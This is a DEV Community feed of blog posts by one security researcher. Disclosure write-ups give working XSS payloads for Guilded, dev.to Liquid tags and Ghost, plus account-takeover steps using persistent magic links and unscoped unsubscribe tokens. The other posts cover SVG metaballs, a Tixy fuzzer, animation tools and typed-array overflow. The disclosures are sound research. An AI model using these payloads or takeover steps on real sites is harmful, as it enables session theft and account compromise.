DEV Community: Antony Garand

Vulnerabilities in Guilded.gg

Antony Garand — Wed, 20 Dec 2023 03:23:52 +0000

I recently stumbled upon a Youtube video by No Text To Speech regarding Guilded issues that reminded me of an interesting vulnerability I reported to their service few years ago, and made me realize I never wrote about it!

Guilded is a chat service similar to Discord with larger community-oriented features, such as a proper Forum, event calendar, tournaments and various similar goodies. With this increase in features comes an increase in scope for potential bugs and vulnerabilities!

3 years ago, I started looking into finding such vulnerabilities, so here are the result of this investigation!

Stored XSS via javascript links

An easy one I immediately found was that links were only validated on the client-side, allowing us to craft a link containing a javascript payload:

[Link](javascript:alert(document.cookie))

When clicked on by users, we could execute arbitrary JavaScript on their behalf!
I crafted few fun payloads abusing the API authentication being cookie-based, meaning any calls I did to the API was already authenticated as the current user, and it allowing to change a password without re-entering the existing password first!

Interestingly, the payloads are still there to this day even though they no longer work due to some client-side validation before redirecting to the browser to the links.

Crashing sections with invalid JSON

There are multiple places in which you can leverage some more advanced markdown features, such as using bold and links within the text:

Forum thread, comment
Tournament
Announcements
Profile comments Essentially everywhere but the basic chat messages.

Through the API, these messages are sent as a JSON representation of the Markdown format, but a lack of server-side validation of the whole depth of these messages allows us to send a broken representation of the items.
For example, replacing a nested object with a literal string: "content":"text" instead of "content":{…}

This allows us to send invalid payloads to the server which are stored and sent to the user clients, which do not handle these invalid nodes cleanly:

While in itself this might seem like a self sabotage, in some sections any broken component will break the whole section and prevent anyone else from being able to view or edit the content, such as within the Tournaments:

This means any user with the permissions to insert content within these sections could brick them for everyone!

Interestingly, this still hasn't been fixed per the NTTS video I referenced earlier: Despite knowing about this for over 3 years, it hasn't been recognized as a bug worth fixing since then.

Weak account settings security

While not a vulnerability per se, I included this within my original report as it is a security practice that many younger companies neglect implementing as it is fairly trivial to overlook.
All of the user settings, including the email and password, could be updated without any additional authentication: For example, to update the password, you did not need to enter the current password.
Additionally, when a major setting was changed, such as the email or password, no notifications were sent to the original email!
This means that once logged in on an account, an attacker could change the credentials, both email and password, without the original account owner being made aware!

Magic links lacking restrictions

Guilded used to send you magic links when you tried logging into the application and when using the "Forgot your password" feature: This link would authenticate you without having to enter your password, making it a convenient way to login.

While having a compromised account is bad enough, some decisions made within this feature made it impossible to secure any account once it had been compromised:
The magic links are not limited to one use, and only expire after 48h.
They also work even if the email or password has been changed since the original link was made, or if a new link was generated.

Overall, what this means is that once an account has been compromised, there are no ways of securing the account back as the attacker can always use an existing magic link to regain access to it.
Additionally, an interesting attack vector I thought of by combining the lack of notifications on email update and this vulnerability would be the following, allowing a persisted account access without the owners knowledge.

The attacker compromises the account
The attacker changes the email to his. Note that with the weak account settings security, the original author is not notified of this change, as no emails are sent!
The attacker sends himself a magic link
The attacker restores the account email to the original one
Repeat step 2-4 every 2 days, before the expiration of the original magic link.

Now, if the attacker is logged out of the account at any time, he can use the magic link he has in reserve to log back into the account and keep his access.

Dangerous email forwarding: API key within unsubscribe button

This is the favorite vulnerability I've discovered within this service, as it allowed a user to compromise his own account by forwarding the Guilded news to his friends.

The token generated for notification settings and the unsubscribe button, included in all correspondence from Guilded contained a fully-fledged API token which can be used to take over an account.

There are two ways to authenticate yourself on the API: Using your Cookies, or using an authentication token within the request body.
When using the website or app, the cookie is used as a passive authentication, but emails do not have access to such cookies, and instead are passing through a specific token which should allow the website to update the email notification settings and unsubscribe the user.

As you might expect from this title, the token provided within the unsubscribe button was not restricted in scope to only update the email settings: Instead, by decoding the literal token or copying it from the API request to update the notification preferences, you can use it to perform any other API action.

Under each email sent by Guilded, the notification settings link has the following format:

https://www.guilded.gg/emailsettings?info=ey[base64value]=

Once base64 decoded, we get a payload following this format:

{
  email: "account@email.com"
  token: "MWZjY2Qw ... YWU="
  userId: 215754
}

The token here is used to authenticate us when calling the /users/[id]/profilev2 endpoint and update the settingsInfo values for the email preferences.
This endpoint is also used to update the profile values, such as the username and email.
This means we can use this token to change the user email, and compromise the account.

In this example, I've updated my username using this token.

Conclusion

Overall, I had fun testing the security of Guilded: It had its share of interesting quirks and vulnerabilities and was a fun target. It was my first time seeing the unsubscribe button allowing a complete account takeover, one more tool to add to my arsenal when hacking startups!

Making a simple fuzzer for Tixy

Antony Garand — Thu, 31 Dec 2020 03:34:34 +0000

You might have heard about tixy.land, the minimalist javascript playground for creative coding.

// Detect dark theme var iframe = document.getElementById('tweet-1323399877611708416-430'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1323399877611708416&theme=dark" }

While scrolling on the tixy feed, being amazed by how creative people can be, I stumbled upon a discussion between Martin Kleppe, the creator of Tixy, and Gareth Heyes, a well known security researcher, regarding creating a Fuzzer for tixy:
// Detect dark theme var iframe = document.getElementById('tweet-1334225267892621314-901'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1334225267892621314&theme=dark" }

As I had experience with code modification tools, I decided to try hacking something up and make a quick fuzzer!

Want to see the result first?

Possible flashes warning
Sure, click here!

Getting started

Tixy setup

Setting up tixy locally is pretty easy, especially since it's on github!

However, since I only wanted to change the javascript a bit, I wanted a single file, index.html, without having to compile the CSS myself.

I ended up copying the html of the live version at tixy.land, and replacing the script content with the not minified index.js from the repo, and replacing the imported example.json with a variable having the same value.

Adding jscodeshift

JSCodeShift is a powerful tool to navigate and modify the AST of source code which I'll be using.

Adding jscodeshift was slightly harder than setting tixy up: As I wanted to keep things simple, I couldn't use the existing npm version as it would require compiling the project.

I ended up using Browserify to compile it to a single file:

npx browserify jscodeshift/index.js -o jscodeshift.min.js --standalone jscodeshift

I then copied this file into my project, added a reference to it in the HTML, and was ready to go!

Getting samples

To fuzz values, we need to start by gathering existing examples, ideally ones with interesting effects.

I ended up merging the existing examples.json and the ones under the tixy.land/gallery page.

Making the fuzzer

With our setup in place, let's start thinking about how to actually implement the fuzzer.

Here is a rough outline of the plan:

Pick random samples out of the examples
Convert them to random fragments
Merge the fragments together

To split the project into smaller samples, we need to figure out exactly where to split!

After analyzing few of the tixies on astexplorer, I ended up picking two distinct operations which can usually be extracted without issues:
Binary Expressions and Call Expressions!

Binary Expressions are mostly arithmetic operators such as + and -, with few other exceptions.
You can view the complete list of these operators on the ast-types repository.

Extracting the binary expression node is picking both sides of the equation as well as the operator itself, and they are typically self-contained.

Call Expressions are function calls, such as Math.random() or sin(y). Like the binary expressions, they usually are self contained, and small enough to extract without issues.

Now that we know what to extract, let's start on the how to extract them!

Picking random samples is simple: Pick a size, and pick random elements of the examples array!

In this case, I picked an arbitrary size of 8 for the biggest sample count, for no particular reason.

const sampleCount = Math.floor(Math.random() * 8) + 1
const samples = new Array(sampleCount).fill(0).map(
    () => pickRandom(allSamples)
);

Separating them by valid fragments is where we start using JSCodeShift.

From a string with valid JavaScript code, we can create our own jscodeshift instance with it by calling jscodeshift(code).

Then, using the .find method on the resulting object with a type such as BinaryExpression gives us an array-like object with all of the binary expressions.

Finally, to convert the AST node returned by JSCodeShift back to JavaScript, we need to call the toSource method.

Simple, isn't it?

Here is how the resulting code looks:

const availableOperations = [];
const jsc = jscodeshift(sample);
jsc.find("BinaryExpression").forEach(v => availableOperations.push(v));
const chosenSnippet = pickRandom(availableOperations);
const resultingCode = jscodeshift(chosenSnippet).toSource();

Finally, doing this on all of our selected samples, and on both binary expressions and call expressions, we end up with an array of random code snippets.

Now, to merge the fragments back together, I decided to add a random operator between each of them.

Thankfully, as both sides should be valid JavaScript strings, there is no need to use JSCodeShift anymore, a simple concatenation will do.

const delimiters = ['+', '-', '*', '%', '|', '<<', '>>', '%', '^'];
const newCode = fragments.reduce((acc, v) => {
    return (acc ? acc + pickRandom(delimiters) : '') + v;
}, '');

Result

Where would be the fun of generating random snippets if we couldn't view the results!

I ripped the existing nextExample function of the existing tixy site and instead of using the next examples, used a random code snippet from the fuzzer.

Now, for the amazing results, I saved you the hassle of doing it yourself! Instead, you can visit garand.dev/projects/tixy/, and click on the tixy until you find interesting results!

For maximum viewing pleasure, I also swapped the gallery page to use my fuzzer instead of good examples: https://garand.dev/projects/tixy/gallery

Many of them are either a stroboscopic nightmare or an exact ripoff of the examples, but sometimes there are interesting patterns emerging.

Found any interesting ones? Please link to them in the comments! I'd love to see what can come out of this project!

SVG Metaballs

Antony Garand — Mon, 07 Dec 2020 20:59:06 +0000

I find metaballs fascinating: Pure shapes fusing and morphing with each other, making a weird gooey result. Such a simple idea, yet I had no idea how they could be implemented for a very long time.

I remember seeing an amazing interactive gallery using these metaballs on the canva.com website:

Note that the gallery doesn't work when following the canva.com link directly, but it does work when accessing it from the web archive website.

In this post, I'll share with you a bit of my path to enlightenment with these balls, and how I implemented them on my own, using only two SVG filters.

If you want to check the final result first, check out the playground on my website: https://garand.dev/projects/metaballs/

Getting started

Let's start with the obvious questions: What are metaballs? The wikipedia definition isn't quite clear:

In computer graphics, metaballs are organic-looking n-dimensional isosurfaces, characterised by their ability to meld together when in close proximity to create single, contiguous objects.

Simplified, metaballs are blobs, which can feel some sort of attraction within each other, and can fuse into a single entity whenever they're near each other.

Implementation 1 - FabricJS and geometric operations

To skip this section and go straight to the final solution, click here!

The first idea I had was to use a purely geometric approach, inspired by this illustrator plugin: The two blobs (A and B) could be bridged with a rectangle (E), and then I could "subtract" two circles (C and D) to make a blobby feeling!

I actually implement this a while back, using FabricJS, you can find the playground here (source code), and it did look fine!

You can actually see the different segments when it didn't fully update between frames, which I find interesting:

But it had its share of issues:

Performance followed an exponential growth

As each element had to compare and create a bridge for each neighbor, it didn't scale as well as other approaches.

There was no middle ground between "attached" and "detached"

There were no clean ways of creating a magnetic type of attractiveness where the balls would reach for each other, which I absolutely wanted.

It only worked with circles, or ovals
It didn't handle well having multiple collisions

When a metaball was within reach of few others, each bridge was independent of each other, giving odd results when they overlapped

Therefore, I ditched this approach, and looked for a better solution.

Implementation 2

Two years later, looking through my old experiments on github, I found the project and decided to tackle it once more, but this time solving the issues I had with the first version.

I found this post on webflow from @vinchubang which used blur and contrast to achieve their blobs: First, blurring the blobs themselves, and then setting the brightness and contrast to a high value to remove the regions with a low opacity while increasing the visibility of others with a high-enough opacity.

One big limitation with the use of the contrast filter is the requirement of uniform background, it doesn't support transparency or any type of dynamic coloring. These are limitations I'd like to get rid of, because I can!

Starting out

With this new knowledge in mind, there are few essential steps for the technique to work:

Blur the elements
Set the opacity of everything with an opacity below a threshold to 0, aka. remove it
Set the opacity of everything with an opacity equal or above the threshold to 1, making it fully visible.

In these step, opacity refers to the final opacity of the different layers, once they were alpha blended together, where the more layers of elements there are, the more opaque the color.

The Blur

I started with the first step, blurring the elements. To do so, I used the feGaussianBlur filter.

<svg height="100%" width="100%">
    <defs>
        <filter id="gooify" width="400%" x="-150%" height="400%" y="-150%">
            <feGaussianBlur id="blurElement" in="SourceGraphic" stdDeviation="20" result="blur" />
        </filter>
    </defs>
    <g filter="url(#gooify)">
        <circle cx="200" cy="200" r="90" fill="red" />
        <circle cx="400" cy="200" r="90" fill="red" />
    </g>
</svg>

Note that I added a lot of space for the width and height of the filter for the blur to avoid being cut once it reaches the edge.

As expected, this resulted in blurry red circles!

The opacity

The next step was to juggle with the opacity without requiring a solid background.

After looking at the available filters, I ended up using feColorMatrix, which can manipulate the alpha data independently from the other channels!

As its name implies, it uses a matrix, essentially a 2d array, where each value controls a single parameter.
There are 4 rows, representing RGBA, and 5 columns, one per RGBA input and one to control perform an additional shift.

While it does sound kind of complex, in this case all that matters are two values, the two last ones, which I'll explain in more details shortly.

There are only two values which matter to get the desired effect:

The penultimate value
This value multiplies the alpha layer (opacity) by its value, allowing us to increase the opacity of the blurred image.
The last value
This value is a final shift via an addition: It adds the value by the amount specified

With these two value, we can mimic an opacity threshold, by setting a high multiplier, and a small negative shift value.

The exact formula would to get our result is originalAlpha * multiplier + shift, where one shift unit is equivalent to 100% opacity.
I've made a quick spreadsheet to demonstrate the impact of both values on the resulting opacity:

As the opacity is 8 bits of data, its maximum value is 255, so using it as the multiplier should give us a perfect granularity for our threshold. Then, for a threshold of 60%, we can define a shift of -153!

Let's start with an Identity Matrix, which does no changes on the incoming image. Then, adding the two modifiers into the matrix, we get a crisp looking result:

<filter id="gooify" width="400%" x="-150%" height="400%" y="-150%">
    <feGaussianBlur in="SourceGraphic" stdDeviation="20" result="blur" />
    <feColorMatrix in="blur" mode="matrix" values="1 0 0 0 0
                                                   0 1 0 0 0
                                                   0 0 1 0 0
                                                   0 0 0 255 -153" />
</filter>

Now, notice that there are only fully opaque or fully transparent pixels. Using a multiplier of 255 has the bad side effect of removing all forms of anti aliasing for the blobs.

To add a bit of smoothness, I added reduced the values by an order of magnitude, setting the multiplier to 25 and the shift to -15:

This is a lot smoother, even though some of the edges of the bridges are a bit blurry!

I'm sure I could get a better result by tweaking the values, but it's good enough for the moment.

Interactivity

While having metaballs is nice, it's not fun if we can't interact with them!
I won't go for a full gallery just yet, but start with simple drag and drop controls with the mouse.

The code should be self-explanatory: There is one variable to store the element being moved, and another one to store the X and Y offset of the original click, as well as the mousedown, mousemove and mouseup events to move the circles.
Ideally, I would also add the mobile event touch[start|move|end], but click only will do for this proof of concept!

const $ = document.querySelector.bind(document);
const $$ = document.querySelectorAll.bind(document);

// Moving the circles using the mouse
let isMoving = false;
const offset = { x: 0, y: 0 };
$$("circle").forEach(circle => {
    circle.addEventListener("mousedown", (e) => {
        isMoving = circle;
        offset.x = e.clientX - circle.attributes.cx.value;
        offset.y = e.clientY - circle.attributes.cy.value;
    })
});
const svg = $("svg");
svg.addEventListener("mousemove", (e) => {
    if (!isMoving) return;
    const newPosition = {
        x: e.clientX - offset.x,
        y: e.clientY - offset.y
    }
    isMoving.setAttribute('cx', newPosition.x);
    isMoving.setAttribute('cy', newPosition.y);
})
svg.addEventListener("mouseup", () => isMoving = false)

I also added few sliders to play with the values in real time, feel free to check the source code for the implementation if you're interested.

Here is the live playground for the interested!

Summary

Metaballs are a fascinating type of object, and now thanks to these two SVG filters, you can add them anywhere!
Unlike the geometric approach I initially attempted, using filters has many benefits:

Supports any shape, keeping in mind it will be slightly altered once blurred
Performant: Has a very small cost to increasing the amount of objects! Only requiring one gaussian blur per item, and running the color matrix filter once, very far from an exponential growth
Supports partial bridges, giving a magnetic effect

And unlike the contrast method webflow used, it does support a transparent background, end even blending colors of the blobs!

Right now, these metaballs are still only a proof of concept, but I have few interesting projects I'd like to do with them, such as a lava lamp and a gallery similar to the one Canva did.

Keep in mind that I'm not the first one to find this way to make metaballs using the blur and colormatrix filters. While looking at other projects to do with this technique, I found this post from Chris Gannon on making a lava lamp and this one from Lucas Bebber on a gooey menu, both of which are over 5 years old!

Things like this reminds me that we're all doomed to reinvent the wheel at some point, and that great minds think alike!

References

Wikipedia - Metaballs
Illustrator plugin for Metaballs - shspage Metaballs
Helpful math for the above - Given two touching circles, find position of a third circle of known radius so that it touches them
Geometric metaballs using paths - Metaballs
Alternative technique - Metaballs and Marching Squares
Webflow - Make and animate Metaballs with Webflow
Opacity - Alpha blending
ColorMatrix filter - Finessing feColorMatrix
Similar post - Gooey effect - Making things stick

Making math animations and videos with code

Antony Garand — Thu, 30 Apr 2020 17:09:10 +0000

Cover gif by Freya Holmér

I feel like animations are the most intuitive way to visualize and understand certain concepts, making them a great way to share and deepen knowledge on a subject.
Yet, the classic video editors were never intuitive or easy enough to get started, coming from a technical perspective.

As I've been seeing more of these animations recently, I've decided to list the available tools in hopes of trying them out!

Objectives

Here are few awesome animations sources I've seen, and would like to be able to perform using mostly code.

3Blue1Brown on Youtube

3Blue1Brown is probably the most known math channel on Youtube.

His videos are mesmerizing, and the quality of his animations is astounding.

Here are two of the most interesting visualization I've seen from him:

Using color to solve 2 dimensional equations

Freya Holmér on Twitter

I initially found her from her Bezier curve medium post, which has a very visual approach when teaching us these curves.

Since then, I've been following her twitter and she continuously posts interesting visualization of her projects and problems.
// Detect dark theme var iframe = document.getElementById('tweet-1252366720984952833-350'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1252366720984952833&theme=dark" }
// Detect dark theme var iframe = document.getElementById('tweet-1202648662049996801-171'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1202648662049996801&theme=dark" }

Here is a collection with most of her animations for you to explore:
https://twitter.com/FreyaHolmer/timelines/1215413954505297922

Tools

Now, let's talk about the available tools to make our own!

This is in no way an exhaustive list, these are only the ones I've seen and added to my pinboard over time.

Manim (Python)

Source on Github
Manim is the tool built by 3Blue1Brown, and probably the most popular one in this list.

It was built for the very specific purpose of making these awesome animations, and is used by thousands of content creators.

Reanimate (Haskell)

Source on Github

Reanimate wants to be a library similar to Manim, but with a twist: It's made in Haskell! It is a lot less popular than Manim for obvious reasons, but does look very promising.

This tool would be a great way to play with Haskell and to perform simple, pure animations easily.

MoviePy (Python)

Source on Github

MoviePy is mostly a video editing tool, but when combined with the power of the Cairo vector library, it can make very interesting animations, such as this funky pentagon made with only 30 lines of code!

Html5 Canvas (JavaScript)

Since there are already lots of tools to animate canvas, such as D3.js, PaperJS or FabricJS, you could use these tools to perform your animation and then record the canvas or use a tool such as Editly to save it from the CLI.

This also means it's easier to make and share an interactive version, and possibly easier to debug it as it relies on a real time feedback loop.

The major issue I see using a Canvas is the lack of easy 3d support when compared to other tools, as well as a smaller base to start with.

Blender

Website
Blender is probably best known for its 3d modeling capabilities, but it can also do animations, video editing, 2d and 3d models. With its powerful scripting capabilities, there isn't much it isn't able to do!

Using tools like Primer makes it easier to make statistics and environment related videos, like the ones on the primer youtube channel.

[Soon] Shapes (C# - Unity)

I've discussed Freya earlier in the objective sections, with her animation style and quality as an inspiration for this post.

She is working on Shapes, and while it isn't released yet, nor will it be free at first, it already had its quality demonstrated with the animations built with it.
It integrates with the Unity engine, which is a very different approach than the other tools, and absolutely merits a mention.

It should be released within two weeks according to a post on twitter, but will be limited to her patreons.

Conclusion

Math animations are awesome, and the tooling for everyone to make their own is available!

Do you have any other sources of these I should be aware of, or perhaps other tools I've missed? Please leave them in a comment so I can check them out!

To end this, I couldn't do this post without linking to the math section on the explorabl.es website, which lists dozens of very interactive tools for various math concepts.

JavaScript typed arrays: Unexpected overflow

Antony Garand — Tue, 12 Feb 2019 01:13:30 +0000

In today's post, I will explain a particular situation which can occur in JavaScript if you use typed arrays.

This isn't my discovery, I found out in this blog post by Chris Wellons, but I found the quirk so interesting I wish to discuss it in my own post.

As you know, in JavaScript, all numbers are doubles, excluding two situations:

Bitwise operations
Typed arrays

In bitwise operations, the decimal section of the number is ignored.


    
console.log(2.99999999999999 ^ 2);

In this example, the answer is 0, as the operation performed is actually 2 ^ 2.

Typed arrays are a bit similar, they store only various type of integers.

Here is an example using an Uint8 array, which can only contain 8 bit integers.


    
const first = Uint8Array.of(123);
const second = Uint8Array.of(456);
console.log(first[0], second[0]);

The result of these two logs is 123, and 200.

The 200 might be unexpected, but as mentioned earlier, the arrays can only contain 8 bit unsigned integers.

The maximal value which can be stored by 8 bits is 255. As 456 is bigger than 255, we cause an integer overflow, and start over at 0.

We can confirm this with the following example:


    
const arr = Uint8Array.of(255);
++arr[0];
console.log(arr[0]);

The result of this operation is 0, as we incremented 255 to 256, therefore triggering an overflow.

As we overflowed by a single number, we start over at 0.

Now, let's get to the interesting quirk which I mentioned in the introduction.

As we already know, 255 + 1 in a uint8 array is 0.

With this in mind, what would you expect to be the result of the following code?

const arr = Uint8Array.of(255);
const x = ++arr[0];
console.log(x, arr[0]);

The only difference between this code and the previous snippet is that we assign the result of the ++ increment operator to a variable.

As the value of arr[0] is 0, we would expect them both to be 0, right?

Let's find out!


    
const arr = Uint8Array.of(255);
const x = ++arr[0];
console.log(x, arr[0]);

As it turns out, the value of x is 256, and not 0!

The reason behind this weird quirk is because of the types during the manipulations.

In Javascript, during regular arithmetic operations, we use the Number type (And soon, BigInt!). As the increment operator is equivalent to 1 + [value], both numbers are converted to Number during the operation.

Once the operation is done, two things happen:

We store the result of the operation in the arr array.
We store the result of the operation in the x value.

Notice how on step 2, we use the result of the operation instead of the value inside arr!

As the result is the addition of two Number, we didn't cause an integer overflow, and therefore our value is 256 instead of 0!

Hopefully you found this quirk as interesting as I did!

If you wish to learn more about this, I suggest you to check out Chris's blog post, in which he compares the behavior with C, as well as links to the exact Ecma spec where this is defined!

Hacking Dev 2: Slipping through security

Antony Garand — Tue, 05 Feb 2019 00:41:46 +0000

Following my last post, Pwned Together: Hacking dev.to, few other security resaearchers performed security audits of the website, and found other vulnerabilities.

Among them is Becojo, who found out you could bypass the security filters using Liquid Tags:

Basically, I can capture the output of the gist tag in a variable, and modify it using the replace function of liquid tags.

This represents the following:

{% capture the_gist %}
{% gist https://gist.github.com/username/gist_id %}
{% endcapture %}

// the_gist now contains the HTML output of the gist tag evaluation

{{ the_gist | replace: "github", "evil" }}

This would output the given script tag's domain from gist.github.com/... to gist.evil.com/..., which lets us control the domain of the script tag, giving us an XSS!

Whack-a-vulnerability

With this knowledge, I started digging into more vulnerabilities which could be caused by liquid tags.

This led me and the dev team to a game of whack-a-mole, where many variants of this vulnerability were found.

Replace

Firstly, from my experience navigating the dev source code, I knew that the markdown was rendered before the liquid tags.

There are also a list of tags and attributes which are always whitelisted, therefore you can write raw HTML using these and it won't be filtered out:

rendered_markdown_scrubber.rb

class RenderedMarkdownScrubber < Rails::Html::PermitScrubber
  def initialize
    super
    self.tags = %w(a abbr add aside b blockquote br button center cite code col colgroup dd del dl dt em em figcaption h1 h2 h3 h4 h5 h6 hr i img li ol p pre q rp rt ruby small source span strong sub sup table tbody td tfoot th thead time tr u ul video)
    self.attributes = %w(alt class colspan data-conversation data-lang data-no-instant data-url em height href id loop name ref rel rowspan size span src start strong title type value width)
end

With this knowledge, and Liquid Variable Tags, I knew that I could use other tags than capture to get an XSS.

Using the Assign tag, we can achieve a similar result.

{% assign myimg = '<img src="//x" class="alert()"/>' %}
{{ myimg | replace: "class", "onerror" }}

In this Proof of concept, I replace the class attribute with onerror, giving us this resulting XSS:

<img src="//x" onerror="alert()"/>

This was fixed by blocking the major assigning tags, such as replace, replace_first and remove on this commit.

Assign

Now that we couldn't use filters, it was time for a different solution.

By exploiting the assign tag, as Markdown is rendered before liquid tags, we could mix variables and markdown to gain an XSS:

{% assign x = '<pre class="onerror=alert() test"></pre>' %}
<img src=x class="X {{x}}"/>

Giving us the XSS:

 <img src=x class="X  <pre class="onerror=alert( ) test"></pre>"/>

The solution here was to completely remove the capture tags.

Extracting components

Now that we couldn't have variables, it was time for another bypass!

The replace filter doc doesn't use a variable, but declares it into the tag itself:

{{ "Take my protein pills and put my helmet on" | replace: "my", "your" }}

We can use the same manipulation, by not using the assign tag but directly applying our filter on a div, and using

{{ '<pre>' | first }}svg onload=alert(1)

This also uses the first filter, which wasn't removed from the last filter-removal commit.

The patch time was pretty simple: Blacklist the first tag.

There were few other filters which were removed since this part, such as truncate, truncateword and slice.

Tag removal

The next bypass I found was by using extra arguments on the default tags, which would be omitted from the HTML yet correctly parse the markdown format check:

<img src="x" class="{%if'1" href="' != '' "> %}
inner" onerror=alert(document.domain)
{% endif %}

In this case, the part between the first { %if ... %} would be removed, giving us the resulting HTML:

<img src="x" class="inner" onerror=alert(document.domain)

This is when they removed all of the default liquid manipulations, such as if, for and comment, which was merged with the following PR.

Finally, I noticed the raw tag wasn't disabled with the others. This is because the tag is used internally with the codeblocks, so they can't be blocked as easily as the others.

Here is the POC I made back then:

<img src="x" class="before{% raw %}inside{% endraw ">%}rawafter"onerror=alert(document.domain)

Notice the end of the raw tag, containing the end of the img tag: { % endraw "> %}

The final solution was to block characters after the raw keyword, which ensures the block doesn't contain the end of a tag.

Conclusion

People like me are the reason why you can't have nice things, and also a reason why websites are more secure.

In this case, the fusion of markdown and liquid tags caused some interesting vulnerabilities, even though by themselves these components were (somewhat) secure, the two of them together caused some very interesting vulnerabilities.

As always, please send me your feedback, and follow me on Twitter and on dev.to if you want to see more of my content!

XSS in Ghost

Antony Garand — Sun, 16 Dec 2018 21:52:53 +0000

Ghost is a publishing-focused platform. It powers many writing-focused websites such as the cloudflare blog, troyhunt.com and the Mozilla VR blog.

As the code is fully open source on github, I performed a security audit of the application and found an unauthenticated reflected XSS in the Subscribe feature.

The patched versions are 2.4.0, 1.25.6 and 0.11.14. If you are running a version previous to the above patched versions and have the Subscriber feature enabled, I strongly recommend you to update as soon as possible!

This post will be a technical walk through of the vulnerable code which caused this XSS.

Unauthenticated XSS in Subscriber page

The subscribe page of Ghost is a feature which needs to be manually applied via the labs tab in the blog settings.

More information about the feature is available here.

The subscribe page was vulnerable to a reflected XSS as two of the POSTed variables can be reflected:

subscribed_url
subscribed_referrer

Here is a POC form which used to alert the domain, on demo.ghost.io:

<form method="post" action="https://demo.ghost.io/subscribe/" >
   <input type="text" name="confirm" value="x" />
   <input type="text" name="subscribed_url" value="x><img src=x onerror='alert(document.domain)' />" />
   <input type="email" name="email" autofocus="autofocus" value="random@email.invalid"/>
   <button type="submit">POC</button>
</form>

Vulnerability information

The vulnerable code is under /core/server/apps/subscribers/lib/helpers/subscribe_form.js:46

hidden: new SafeString(
    makeHidden('confirm') +
    makeHidden('location', root.subscribed_url ? 'value=' + root.subscribed_url : '') +
    makeHidden('referrer', root.subscribed_referrer ? 'value=' + root.subscribed_referrer : '')
)

And rendered under the subscribe_form template, available at /core/server/helpers/tpl/subscribe_form.hbs

The SafeString function is from HandleBars, and enable the user to write raw (unsafe) HTML to the document.

HTML escaping - Handlebars
Handlebars will not escape a Handlebars.SafeString. [...] In such a circumstance, you will want to manually escape parameters.

In our case, we are passing the result of the makeHidden function:

function makeHidden(name, extras) {
    return templates.input({
        type: 'hidden',
        name: name,
        className: name,
        extras: extras
    });
}

Where template.input is a Lodash template, and no parameters are sanitized.

templates.input = _.template('<input class="<%= className %>" type="<%= type %>" name="<%= name %>" <%= extras %> />');

For this vulnerability, the extras parameters is tainted with 'value=' + root.subscribed_url, which lets us close the input tag and inject our own HTML code.

Technical information

The reason why Ghost is treating subsribed_url and subscribed_referrer as safe variables is the interesting part of this attack.

To perform the required trick, we need to understand how Ghost and its web server, Express, handles a request.

Before rendering a page, ghost will give a route a list of method to execute, each one sending its result to the next one.

Here is the pertinent code, from /core/server/apps/subscribers/lib/router.js:98:

// subscribe frontend route
subscribeRouter
    .route('/')
    .get(
        _renderer
    )
    .post(
        bodyParser.urlencoded({extended: true}),
        honeyPot,
        handleSource,
        storeSubscriber,
        _renderer
    );

// configure an error handler just for subscribe problems
subscribeRouter.use(errorHandler);

The arguments given to each methods are the result, or callback arguments, of the previous method.

If the argument is of type Error, instead of continuing with the next method, it will use the errorHandler method, which will then display an error page.

Here is the errorHandler function:

function errorHandler(error, req, res, next) {
    req.body.email = '';

    if (error.statusCode !== 404) {
        res.locals.error = error;
        return _renderer(req, res);
    }

    next(error);
}

As you can see, the get, post and error routes end up with the same _renderer method, which does render the same template.

The subscriber form, which is the template used by all states, has two states:

An empty state, with the "Enter your email" form. It can contain errors, such as "Invalid Email", and other analytics content, such as the referrer.
The filled state once you post an email, with a "Successfully subscribed" message.

It is available under /core/server/apps/subscribers/lib/views/subscribe.hbs:47-68:

{{^if success}}
    <header>
        <h1>Subscribe to {{@blog.title}}</h1>
    </header>

    {{subscribe_form
        // arguments
    }}
{{else}}
    <header>
        <h1>Subscribed!</h1>
    </header>
    <!-- ... -->
{{/if}}

Here is the workflow visualized:

As our tainted parameters are rendered as hidden inputs in the form, we need to trick the server into rendering the input form while using our POST values.

The condition for rendering the vulnerable parameters is the success variable, which checks if any errors occurred when saving the new subscriber.

When sending a post, the first method called is bodyParsed.urlencoded, which converts our body to a JavaScript object.

The second method is honeyPot, and is essential to this attack.

function honeyPot(req, res, next) {
    if (!req.body.hasOwnProperty('confirm') || req.body.confirm !== '') {
        return next(new Error('Oops, something went wrong!'));
    }

    // we don't need this anymore
    delete req.body.confirm;
    next();
}

As the form has a hidden confirm parameters, it will ensure the parameter is present and that its value is empty. I presume this is to prevent automated bots to fill the form with junk too frequently.

If those conditions are not met, it will call next with an error message, Oops, something went wrong!.

As this is an error object, express will stop calling the next methods and instead use an errorHandler.

If we didn't trigger this error and used the normal workflow, the handleSource function would be called, and perform the following logic:

function handleSource(req, res, next) {
    req.body.subscribed_url = santizeUrl(req.body.location);
    req.body.subscribed_referrer = santizeUrl(req.body.referrer);

    delete req.body.location;
    delete req.body.referrer;

    // ...

    next();
}

As you can see, it would overwrite the subscribed_url and subscribed_referrer with a sanitized version of the posted values.

As we did not call this method, and instead took the honeypot bait, our values for subscribed_url are not sanitized.

We can therefore render the correct part of the form when giving a value to the 'confirm' input, as an error will be sent, which sets success variable to false.

As the same _renderer method is used for all three scenarios, which are get, post and errors, it does provide the request body to the template, even if we're in an error scenario.

Once we get in the rendering code of our form, subscribe_form.js, our context now has the previously thrown error, but also all of our unsanitized posted variables.

Combining this with the vulnerable template and we now have all the required steps for a reflected XSS!

Vulnerability Summary

Causing an error by taking the honeypot bait does not strip or sanitize our variables, unlike the regular route.

This leads the tainted variables being printed in the page, and causes a reflected XSS!

Timeline

2018/07/12: Original disclosure
2018/07/17: Acknowledged the issues: They mentioned a 6-8 weeks timeline for a fix.
2018/09/01: Asking for an update
2018/09/05: They mentioned the ticket got lost in their bug tracking platform.
2018/09/29: Partial fix committed
2018/09/30: Fix released on version 2.4.0
2018/10/07: Fix released on versions 1.25.6 and 0.11.14
2018/11/19: Notified them of a partial, very low risk, bypass. Sent them my recommendations for a permanent fix.

Note here that I never received an update since they acknowledged the ticket got lost, and still didn't hear from them to this day.

Also note that Ghost does not have a bug bounty program, so I did not receive a reward for this vulnerability.

Patch and partial bypass

The patch for the vulnerability is the following:

function errorHandler(error, req, res, next) {
    req.body.email = '';
